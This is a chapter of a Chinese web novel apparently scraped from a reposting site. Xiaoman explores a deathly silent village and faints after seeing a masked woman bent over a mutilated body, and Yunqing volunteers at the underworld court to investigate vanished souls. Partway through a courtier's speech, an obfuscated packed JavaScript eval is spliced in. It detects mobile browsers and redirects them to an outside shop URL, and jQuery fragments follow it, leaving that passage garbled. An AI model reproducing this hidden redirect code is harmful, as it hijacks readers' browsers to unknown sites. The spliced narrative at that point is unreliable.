文趣网 > 其他小说 > 幽都妄游录 > 23. 第二十三章 鬼村惊魂
    黑瓦土墙的屋舍错落分布在各处,邻里之间相距不远,看起来是个人口十分稠密的村庄。

    小满的脚步却停了下来——

    没有犬吠、没有婴啼,整个村子陷入了一种沉入骨髓的死寂。

    月光撒下一地惨白。

    她忍不住放轻呼吸,在原地打量了一圈,思索半晌,目光落在前方最近的一座房屋,轻手轻脚地走了过去。

    屋子破朽不堪,檐下窗棂边已经结了许多蛛网。透过窗外往里看,里面黑漆漆一片,什么也看不到。

    应该都搬走了吧。

    小满这么想着,转身离开这一处房子,决定去找点灯的那一处碰碰运气。

    才踏出没几步,一个声音突然自脚边窸窸窣窣冒出来,把她吓得浑身一颤,魂都没了大半!

    低头一看,不过是蹭到了杂草……

    她摇摇头想让自己不要胡思乱想,不知什么时候指节泛白的手,把身上的包袱抓得更紧,往村子里继续走去。

    再往前走了数十步,忽然整个人定住了——地上,一口掉漆斑驳的棺材敞开着,赫然横亘在路中央!

    她几乎是毫不犹豫,下意识地就按了下胸口的捕魂袋——

    没有异动。

    没有鬼。

    “难道不是迁村,是逃命?”小满喃喃道。

    一股莫名的冲动驱使着她,大着胆子走近,屏息往棺材里看——

    空空如也。

    这些疑问尚未解开,再往前走,所见之处尽是诡异……

    破败腐烂的棺材零星散落各处,有的甚至歪斜着靠在院墙边。

    农户的牛棚木栏塌了一半,石槽里喂养牲畜的草料结成块,棚内散落着几截断裂的缰绳,绳头磨损得厉害,似乎是被什么东西剧烈地挣扎撕扯过,分不清是人要急匆匆逃离或是牲畜大量奔逃。猪圈同样空空如也,只剩下一股经久不散混合着腐味和难以言喻的腥臭。

    圈栏上,一件破烂的蓑衣在夜色中晃荡。

    小满脚步越来越慢。

    这地方……不对。

    就在她打算往回走时,一道微弱的光从一座房屋后面透过来,火光微微跳动,时不时有影子晃过。

    是那户点灯的人家!

    一种难以言喻的欣喜在胸腔跳动起来。

    她满怀希冀地绕过去,透过侧面毫无遮挡的窗户看了一眼,一位姑娘背对着她站着,微微弯下身子不知道在摆动什么物件,看起来极其专注而熟练。

    此时已经周遭寂静,直接叫人恐怕是会吓把人家吓一跳。

    小满走近几步,正欲绕道正门,却在经过那扇窗的瞬间,脸色乍然一变。

    蹑手蹑脚地后退一步,看向屋内——

    这位身形单薄的姑娘背对着她,腰间系着一条白围裙,脸上蒙着白纱布,她手下摆弄着的东西横陈在一块门板上。

    这哪里是什么物件儿?

    那是一个人!

    一个五官尽失、血肉模糊的人!

    小满的瞳孔骤然缩紧,胃里一阵翻江倒海,扶着墙忍不住想要干呕,反应过来飞速捂住自己的嘴,但还是发出了一声短促细微的呜咽。

    那道背对着的身影,停下了动作。

    那握着刀的手一顿,身子直起来,极其缓慢地、一点一点地转过头,那唯一露出的眼睛直勾勾地盯了过来,在灯光下冒出了幽绿冰冷的荧光。

    嗡——

    小满只感觉大脑突然间一片空白,一天奔波的疲惫、接二连三的惊吓,加上使用百灵障导致的体力不支……所有的感觉在这一时间幻化成一头巨大的野兽将她扑到,蛮横地拽着她的意识往深渊坠去。

    视线中的绿眸、灯火、血肉模糊的尸体……全都扭曲、旋转,最后被无尽的黑暗吞噬。

    小满倒在了冰冷的土地上,失去了所有的知觉。

    *

    晨光透过细密的窗棂纸,在全然看不到人的床榻上投下光斑。

    泊云居的玄字号间门牌,在一阵狂震之下被拍得晃动起来。

    “啪啪啪——”

    急促的拍门声如惊雷般炸响。

    “云青神官!”

    床踏上终于有了动静,从锦被下蛄蛹了几下露出半个脑袋来,眼睛却死死闭着,眉头皱得能把蚊子夹死。

    “云青神官!云青神官为何不点卯啊?”

    点卯?

    点卯!

    “完了!”

    反应过来的云青,针扎了似的猛地弹坐起,一个翻身下了床,抓起官服和长靴赤着脚就往外冲。

    “来了来了!”

    门外,北阴殿的贤秋侍官臭着一张脸挺直了身子候着,见云青出来这幅狼狈模样,连官帽还歪歪斜斜扣在脑袋上,他差点没守住作为帝君侍官的仪态,嘴角的白须还是没忍住抽搐一下,随即颇不耐烦地招手唤来仙鹤,载着云青直奔九幽台北阴殿而去。

    方才手忙脚乱地爬上鹤背,就被白鹤带着一个振翅直冲云霄,这会儿终于飞得平稳,云青赶紧将官服鞋靴穿好。末了,从靴筒内侧摸出来一块温润古朴的木牌,上刻“忘忧楼千里台”字样,双手奉上,连连道歉:“实在对不住,劳烦侍官大驾。”

    贤秋侍官瞥了眼那张有价无市的木牌,脸色稍霁,两指捏了过来,吹了吹气才藏于袖中。

    旋即清了清嗓,捋着胡须道:“实不相瞒,下官也有两百多年未曾去过神官住所叫人晨起了。”

    话是这么说着,他还是忍不住翻了记白眼,双手兜于袖中,摩挲着那块木牌,语调稍扬:“早朝刚开始不到一刻,帝君倒也未指明要山海楼的述职,不过,今早应卯册上独缺您一位,用梦蝶去寻,好么,才知大人还在床榻之上会周公呢。”

    “额……案牍劳形!案牍劳形!”云青扶了下官帽,胡扯道。

    幽都北阴殿早朝多是收魂、轮回之事,无非是酆都六曹、十殿阎罗和血河殿的公务,雁将军历劫期间,血河殿由五道将军接管,五道将军性忠直刚烈,满心都在收游魂除恶煞上,公文奏折极少,只需答一些帝君的问题就是。

    可是今日却不太相同。

    云青悄悄挤进文官之列时,五道将军才说完,帝君并未散朝。

    那道含着千钧威压的声音再度落下,清晰回荡在大殿之上:“生死殿相瑞何在?”

    一位神官如水中倒影一般由虚凝实,瞬息间显身在大殿中央,袖边上绣着生死殿神官的四合云纹,他发须花白,嗓音因年岁显得微微沙哑:“臣在。”

    “人间京城地界,牵魂帖寻不到孤魂一事,如今可有眉目?”

    相瑞显然早有准备,躬身道:“启禀帝君,经生死殿初步整理案情,依臣愚见,阳界京城或有大因果纠缠,致使邪祟干涉生死轮回。臣恳请帝君准允判官李秋白亲赴查勘,并令京城城隍协同办案。”

    “准。”帝君很快应允,情绪依旧无波无澜。

    相瑞又道:“臣还有一请。京城局势未明,水浑难测,李秋白虽精于断狱,然独木难支,近日十殿皆积案成山,实在无法再增派人手。臣斗胆,恳请帝君于诸司之中寻一心思缜密、通权达变,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17744328|209209||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    又通晓阴阳两界人情世故之同僚,与生死殿一同协办此案。”

    此言一出,大殿之上落针可闻。

    这找帮手的要求听着实在微妙:既要有能耐,又不能太打眼;既要懂幽都的法度,又要深谙人间那一套弯弯绕绕、往来规矩。

    片刻,大殿上开始出现细微的骚动,众神纷纷把目光放在几位常与人间打交道的神官身上,那几人或垂目不语、或摊手、或摇头,直言忙不过来。

    五道将军更是直言不讳:“相阎王!你若是看准了什么鬼怪孽障,我立马去将它取了去,查案么,某着实无从下手!”

    相瑞闻声,朝那拱手一拜,并未言语。

    不知哪位神官,直接对身侧同僚低声闲聊起来:“这事儿蹊跷,我听闻他们查问过京城的灵使,都说那些魂灵凭空消失了。”

    枉死城御史道:“枉死城阴兵点卯的人手都不够,这……本官也有心无力啊。”

    就在这微妙的僵持之际——

    “启禀帝君!”

    一道清朗的声音,带着少年人独有的明快和跃跃欲试,自角落里响起。

    殿中不少神官的目光都带着惊讶齐齐往角落探去,唯独玄律司的雁回,他甚至未曾抬眼,仿佛早有所料,只是嘴角意味不明地上扬了极细微的弧度。

    只见大殿中央显身一道勾云纹官袍的身影出现在相瑞身侧,正是云青。

    云青上前一步,拱手躬身,官帽下的双眼发亮,满是少年独有的无畏自信:“山海楼云青,愿协助生死殿,协办此案!”

    玉阶之上的幽都之主,用颇有威压的目光在这位少年人的脊背上停留了一瞬。

    “准。”

    退朝后,众神官身影如雾般消散,纷纷回归各司其职之所。

    离魂障外的马行街上,雁回手上捧着官帽,与云青一同往府衙的方向走。

    “李秋白若是知道一同前去的是你,总是舒坦一些。”雁回开口道。

    云青将官帽顶在指尖转着圈晃着,步履轻快,没个正形儿:“那是自然,睡的店不干净要满大街找,吃的地方不干净要满城寻,能忍得了他的,满幽都望去,也就我了。”

    雁回轻笑一声,话锋一转:“温小满呢?她可有消息?”

    提起这事,云青晃着帽子的手指停下动作,方才的漫不经心也收了起来。

    “不知道。距离太远,我现在完全没有她的信儿。前些日子,京城的城隍来述职,我特意‘偶遇’一场,旁敲侧击问了些消息,没有一个叫温小满的去找他。估摸着还在路上,没进京。”

    “所以你接下这个差事,果然是要去找温小满?”

    “你忘了?”云青脚步停下来。

    雁回转头看他,目光询问。

    “温小满的父亲温文瞻,也是身死京城,牵魂帖寻不到,阴籍查无此人。”

    雁回这才反应过来。近日事务繁多,他倒忘了,那日还是他拿着帝君的神谕调的阴籍。

    “可京城的灵使都称见不到那些人的魂魄,跟着温小满又能从何查起?”

    云青道:“虽然暂时不确定两边有必然联系,也好过全无线索。”

    不管有没有这个任务,他都是要到人间去找温小满的。

    这丫头一去半个月杳无音信,他总觉得有什么不踏实的东西,时不时在他脑子里绕得他心烦,吃饭会想到,吃酒会想到……

    总之一闲下来,满脑子都是。

    正好帝君给了这个机会,到省得他再绞尽脑汁去告假,更不用想偷偷溜走的下下策了。